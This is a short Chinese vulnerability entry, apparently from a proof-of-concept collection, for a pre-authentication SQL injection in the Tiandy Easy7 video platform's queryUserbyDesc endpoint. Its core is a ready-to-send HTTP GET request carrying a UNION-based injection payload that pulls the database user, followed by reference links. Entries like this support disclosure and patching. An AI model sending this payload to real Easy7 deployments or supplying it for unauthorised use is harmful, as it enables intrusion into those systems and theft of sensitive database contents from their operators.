Description
天地伟业Easy7平台存在前台SQL注入漏洞，攻击者可获取数据库敏感信息。
天地伟业Easy7 queryUserbyDesc 存在SQL注入漏洞
PoC
GET /Easy7/rest/user/queryUserbyDesc?userDesc=1'+UNION+ALL+SELECT+CONCAT(0x7e,USER(),0x7e),41,41--+- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/easy7-user-queryUserbyDesc-sqli.html
https://www.gm7.org/archives/13769
https://ddpoc.com/DVB-2025-10409.html
https://security.zone.ci/secarticles/wx/502366.html
https://cn-sec.com/archives/5227768.html